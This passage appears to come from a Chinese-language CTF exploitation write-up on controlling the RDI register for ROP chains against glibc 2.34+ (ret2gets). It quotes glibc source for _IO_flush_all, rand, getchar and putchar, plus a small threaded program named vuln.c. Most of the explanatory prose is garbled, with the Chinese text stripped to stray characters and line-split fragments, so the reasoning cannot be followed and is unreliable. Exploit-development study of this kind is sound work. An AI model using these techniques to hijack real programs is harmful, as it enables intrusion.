#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock(list_all_lock);
  _IO_cleanup_region_end(0);
#endif

  return result;
}
libc_hidden_def(_IO_flush_all)
```

`_IO_MTSAFE_IO`  `MTSAFE`  `Multi Thread Safe` 线 `_IO_flu
sh_all`  `_IO_cleanup_region_end (0)`

线 `_IO_funlockfile (fp)`rdi 


 `_IO_cleanup_region_end (0)`  rdi 

```c
#define _IO_cleanup_region_end(_doit) 
  __libc_cleanup_region_end (_doit)

/* End critical region with cleanup.  */
#define __libc_cleanup_region_end(DOIT)  
  if (_cleanup_start_doit)                    
    __libc_cleanup_pop_restore (&_buffer);    
  if (DOIT)                                   
    _cleanup_routine (_buffer.__arg);         
  } /* matches __libc_cleanup_region_start */
```

[__libc_cleanup_pop_restore](https://elixir.bootlin.com/glibc/glibc-2.41/source/
nptl/libc-cleanup.c#L53)  `_buffer` 
 rdi gets  ROP `
_cleanup_routine` 

#### Case 4: RDI is Junk

##### rand

`rand`  IO  rdi  `unsafe_state` 
 libc 

```c
long int __random(void) {
  int32_t retval;
  __libc_lock_lock(lock);
  (void)__random_r(&unsafe_state, &retval);
  __libc_lock_unlock(lock);

  return retval;
}

weak_alias(__random, random)
```

##### getchar

`getchar`  IO 
 rdi `getchar`  `_IO_stdfile_0_lock_`
`_IO_need_lock` 

```c
int getchar(void) {
  int result;
  if (!_IO_need_lock(stdin))
    return _IO_getc_unlocked(stdin);
  _IO_acquire_lock(stdin);
  result = _IO_getc_unlocked(stdin);
  _IO_release_lock(stdin);
  return result;
}

#ifndef _IO_MTSAFE_IO
#undef getchar_unlocked
weak_alias(getchar, getchar_unlocked)
#endif
```

 `((_fp)->_flags2 & _IO_FLAGS2_NEED_LOCK) != 0`

```c
#define _IO_need_lock(_fp) 
  (((_fp)->_flags2 & _IO_FLAGS2_NEED_LOCK) != 0)
```

 if `_IO_getc_unlocked`
 rdi 西



线`getchar`  rdi  `_IO_stdfile_0_lock`

```c
// gcc -Wall vuln.c -o vuln -no-pie -fno-stack-protector

#include <stdio.h>
#include <pthread.h>
#include <stdlib.h>

void *thread_function(void *arg);

int main() {
  pthread_t tids[2];
  int ret;

  ret = pthread_create(&tids[0], NULL, thread_function, (void *)1);
  if (ret != 0) {
    perror("pthread_create 1 failed");
    exit(EXIT_FAILURE);
  }

  ret = pthread_create(&tids[1], NULL, thread_function, (void *)2);
  if (ret != 0) {
    perror("pthread_create 2 failed");
    exit(EXIT_FAILURE);
  }

  pthread_join(tids[0], NULL);
  pthread_join(tids[1], NULL);

  return 0;
}

void *thread_function(void *arg) {
  getchar();

  pthread_exit(NULL);
}
```

线 [_IO_enable_locks](https://elixir.bootlin.com/glibc/glibc-2
.41/source/libio/genops.c#L553) IO  `_IO_FLAGS2_NEED_LOC
K`

```c
/* In a single-threaded process most stdio locks can be omitted.  After
   _IO_enable_locks is called, locks are not optimized away any more.
   It must be first called while the process is still single-threaded.

   This lock optimization can be disabled on a per-file basis by setting
   _IO_FLAGS2_NEED_LOCK, because a file can have user-defined callbacks
   or can be locked with flockfile and then a thread may be created
   between a lock and unlock, so omitting the lock is not valid.

   Here we have to make sure that the flag is set on all existing files
   and files created later.  */
void _IO_enable_locks(void) {
  _IO_ITER i;

  if (stdio_needs_locking)
    return;
  stdio_needs_locking = 1;
  for (i = _IO_iter_begin(); i != _IO_iter_end(); i = _IO_iter_next(i))
    _IO_iter_file(i)->_flags2 |= _IO_FLAGS2_NEED_LOCK;
}
libc_hidden_def(_IO_enable_locks)
```

 `_IO_FLAGS2_NEED_LOCK` 


##### putchar

```c
int putchar(int c) {
  int result;
  _IO_acquire_lock(stdout);
  result = _IO_putc_unlocked(c, stdout);
  _IO_release_lock(stdout);
  return result;
}

#if defined weak_alias && !defined _IO_MTSAFE_IO
#undef putchar_unlocked
weak_alias(putchar, putchar_unlocked)
#endif
```

线 rdi  ch
ar int 


## References

[ret2gets](https://sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets)